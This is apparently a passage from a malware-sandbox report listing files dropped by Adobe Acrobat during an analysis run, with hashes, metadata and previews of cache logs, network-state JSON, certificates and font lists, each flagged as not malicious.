SHA1:	ADE00E46A59A3B86DFB4858D51AE18F19C75E27E
SHA-256:	38FAE4686B01C2AE8E10CB7783E6C2577F2205E8F9A96AA61CC4E009867DF585
SHA-512:	4C24DC33909A2F9515088AC2F08ACAF04C9022D547014A39F4F2C36B995BDD4D4EF856EB737A4D988ACF17BDA69AEE164C63F6FEF9A07EC572DA6307AA0706F1
Malicious:	false
Preview:	2025/01/14-04:03:45.762 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-04:03:45.763 1c80 Recovering log #3.2025/01/14-04:03:45.763 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.189489115601243
Encrypted:	false
SSDEEP:	6:iO8HXF34q2P92nKuAl9Ombzo2jMGIFUtWUzJZmwoUzDkwO92nKuAl9Ombzo2jMmd:7gIv4HAa8uFUtp/15LHAa8RJ
MD5:	B8712B99C718C4EF69F1AD432CD808BF
SHA1:	ADE00E46A59A3B86DFB4858D51AE18F19C75E27E
SHA-256:	38FAE4686B01C2AE8E10CB7783E6C2577F2205E8F9A96AA61CC4E009867DF585
SHA-512:	4C24DC33909A2F9515088AC2F08ACAF04C9022D547014A39F4F2C36B995BDD4D4EF856EB737A4D988ACF17BDA69AEE164C63F6FEF9A07EC572DA6307AA0706F1
Malicious:	false
Preview:	2025/01/14-04:03:45.762 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-04:03:45.763 1c80 Recovering log #3.2025/01/14-04:03:45.763 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5f816d0d-fdd4-4fe2-b8b4-4b6fed665b78.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.04549350217066
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0/XhsBdOg2HLcaq3QYiubxnP7E4T3OF+:Y2sRdsBidMHy3QYhbxP7nbI+
MD5:	CA981FFA0C4489F78B28EE071BF6046E
SHA1:	0C58588900BB221C3F7E7D0F736756E47BFEEBC5
SHA-256:	1ED6E70202B6D80B4747A55401A3115E1FF7CE995462F28ED4549C0B4D5D3F67
SHA-512:	3D368C3F765681B92E3896402642B7520C8AA0D1DE7F9787FD6CDDB03BE284D88546CC4CF52BD92A12DA855456B66326BF8AAB39AA7EF3C294849C51B8FB38D6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381405435811764","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128338},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.04549350217066
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0/XhsBdOg2HLcaq3QYiubxnP7E4T3OF+:Y2sRdsBidMHy3QYhbxP7nbI+
MD5:	CA981FFA0C4489F78B28EE071BF6046E
SHA1:	0C58588900BB221C3F7E7D0F736756E47BFEEBC5
SHA-256:	1ED6E70202B6D80B4747A55401A3115E1FF7CE995462F28ED4549C0B4D5D3F67
SHA-512:	3D368C3F765681B92E3896402642B7520C8AA0D1DE7F9787FD6CDDB03BE284D88546CC4CF52BD92A12DA855456B66326BF8AAB39AA7EF3C294849C51B8FB38D6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381405435811764","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128338},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2386879153174615
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUOvsJS/X:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL9
MD5:	ED47005F8485C26DFBE77EBD9C7A6271
SHA1:	471D73AC9C60DDEE50AD100D4287FA13E6EE14C0
SHA-256:	0D7CC2950E254C78CC32D884C393CE17643D5F3BEBB99486F32E256E115B26F7
SHA-512:	EDA4FD035C0EF00EE3B4E1554BFC57DC9524026FFB40330DD7176A531E290479F236267B3750E5732DEE9B947E00461A81E05E1314986A715C3D946CEE2C08D0
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.161586842742914
Encrypted:	false
SSDEEP:	6:iO87Kv4q2P92nKuAl9OmbzNMxIFUtWYF3JZmwoYF3DkwO92nKuAl9OmbzNMFLJ:7i7v4HAa8jFUtHZ/Zz5LHAa84J
MD5:	BE5D0269976F529481D62014057645ED
SHA1:	719D13A6C656977CAFD004FB702756CAAFD02748
SHA-256:	636CC9FD938BF3C0ECD9400C2A3F804D9D419ED77E5E9381E9CF72E3394AE0DE
SHA-512:	97D4CAC1ED17AC594BE663A1C827E70C0F5837152E13226BB5CFFDD94198ABFD5061155F5295B2223024E7A21B523CFE74F34E74A5731A75961624C1AD27264F
Malicious:	false
Preview:	2025/01/14-04:03:45.949 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-04:03:45.950 1c80 Recovering log #3.2025/01/14-04:03:45.950 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.161586842742914
Encrypted:	false
SSDEEP:	6:iO87Kv4q2P92nKuAl9OmbzNMxIFUtWYF3JZmwoYF3DkwO92nKuAl9OmbzNMFLJ:7i7v4HAa8jFUtHZ/Zz5LHAa84J
MD5:	BE5D0269976F529481D62014057645ED
SHA1:	719D13A6C656977CAFD004FB702756CAAFD02748
SHA-256:	636CC9FD938BF3C0ECD9400C2A3F804D9D419ED77E5E9381E9CF72E3394AE0DE
SHA-512:	97D4CAC1ED17AC594BE663A1C827E70C0F5837152E13226BB5CFFDD94198ABFD5061155F5295B2223024E7A21B523CFE74F34E74A5731A75961624C1AD27264F
Malicious:	false
Preview:	2025/01/14-04:03:45.949 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-04:03:45.950 1c80 Recovering log #3.2025/01/14-04:03:45.950 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.728204828358771
Encrypted:	false
SSDEEP:	3:kkFkl+81lfllXlE/HT8k3h1NNX8RolJuRdxLlGB9lQRYwpDdt:kKn+mT8YRNMa8RdWBwRd
MD5:	84030DECB9537BD56851EAD0797FD34F
SHA1:	03CE02063CFAF187CBA87B56BD1C89381A55579A
SHA-256:	C689165D807F3199DB1CBE94C0B76202E655B6F90576155A1733BD8C1A8F83B7
SHA-512:	59C35723D8C66616F27EE9E6A7C5A37B36CA8B8C45D12CA800B00B1FB91D12A57CFB8B137D211D19C0A9FA2DEF2B1582E671E1B1A3C5356A6C3770BEC7A5D69C
Malicious:	false
Preview:	p...... .........Y.=cf..(....................................................... ..........W....f...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2368928658074476
Encrypted:	false
SSDEEP:	6:kKHiz9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:KKDImsLNkPlE99SNxAhUe/3
MD5:	EAE2A52F341D16A949234DF4BAC2C1D7
SHA1:	72A9CB1069FBD6AEB52C3694C8D6B416DE838F87
SHA-256:	36918089A9BA8F009FA5D0A52E2CB16A67DB47E25AF25698569E99D16D420A4A
SHA-512:	926CFE4256B32013F92320C4D4749552D044373747BDD8810B9BAF4A151A0CC583A1562DDDA369BBD036B93508F5ADF600D3F2E7F9D54DEFD4331FE446A5F860
Malicious:	false
Preview:	p...... ........`@.>cf..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6584

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6584

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	5.050217820049872
Encrypted:	false
SSDEEP:	24:YFu63QJGv7aZna0TNpnayGZmmuBJvbZW4xCZqu20Z+nZO8ZMCCDxiZ8vGwacOG:YBAwOtoitbRCwu20wD+JliWxao
MD5:	FB959DDE5048EA0471733E5DBA4BA726
SHA1:	987D2CD3C36D15D2EFCF50226821CE1F827CCAA2
SHA-256:	85B36D576213B799AABB8DABD3FEC99A64ED59A00DADE0480D376050E2657BEE
SHA-512:	AEC363AB48A8688FDB82ADCF164A69BE33FD28B72EF07C3CDBEB38D286057B58C38A24B5EC8321EDA5B4B466212ECB78A11C69926C0203176D2D51E56AC00A2D
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736845426000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d550de899f04b5f1cb01c3a7438d5d96","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696428962000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cfa45c7829b86b94abc8cd788add6752","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696428962000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"3ef850c86adcfefa30feaf6c5c1404b1","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1696426848000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"955b63af1bb125ce44faeb9a35adb91d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696426848000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2fa014516e78a80092801abd5694c0be","sid":"DC_Reader_Convert_LHP_Bann